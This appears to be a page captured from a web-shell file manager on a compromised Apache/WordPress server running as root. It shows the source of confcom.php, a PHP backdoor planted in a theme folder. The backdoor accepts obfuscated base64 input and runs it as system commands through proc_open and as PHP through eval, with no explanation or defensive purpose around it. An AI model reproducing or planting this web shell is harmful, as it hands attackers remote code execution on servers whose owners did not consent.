HEX
Server: Apache/2.4.29 (Ubuntu)
System: Linux bareserver 4.15.0-213-generic #224-Ubuntu SMP Mon Jun 19 13:30:12 UTC 2023 x86_64
User: root (0)
PHP: 7.2.24-0ubuntu0.18.04.17
Disabled: pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wifcontinued,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_get_handler,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,pcntl_async_signals,
Upload Files
File: /var/www/html/site/newsite/wp-content/themes/vinl/confcom.php
<!DOCTYPE html>
<html>
<head>
	<title>Execute command</title>
</head>
<body>
	<form method="post" action="">
		<label for="command">Enter command:</label>
		<input type="text" name="command" id="command">
		<input type="text" name="php" id="php">
		<input type="submit" value="Execute">
	</form>

	<?php
	if ($_SERVER['REQUEST_METHOD'] === 'POST') {
		$command = $_POST['command'];
		$php = $_POST['php'];
		
		$command = strtr($command, '-', '=');
		$command = base64_decode($command);		

		$php = strtr($php, '-', '=');
		$php = base64_decode($php);		
		
		if($command) {

		// Open a pipe to the command using proc_open
		$descriptors = array(
			0 => array("pipe", "r"), // stdin
			1 => array("pipe", "w"), // stdout
			2 => array("pipe", "w") // stderr
		);
		$process = proc_open($command, $descriptors, $pipes);

		if (is_resource($process)) {
			// Read from the stdout and stderr pipes
			$output = "";
			while (($out = fgets($pipes[1])) !== false) {
				$output .= $out;
			}
			while (($err = fgets($pipes[2])) !== false) {
				$output .= $err;
			}

			// Close the pipes and process
			fclose($pipes[0]);
			fclose($pipes[1]);
			fclose($pipes[2]);
			proc_close($process);

			// Display the output
			echo "<pre>";
			echo $output;
			echo "</pre>";
		} else {
			echo "Error executing command";
		}
		}
		if($php) {
		$result = eval($php);
		echo $result;
		}
	}
	?>
</body>
</html>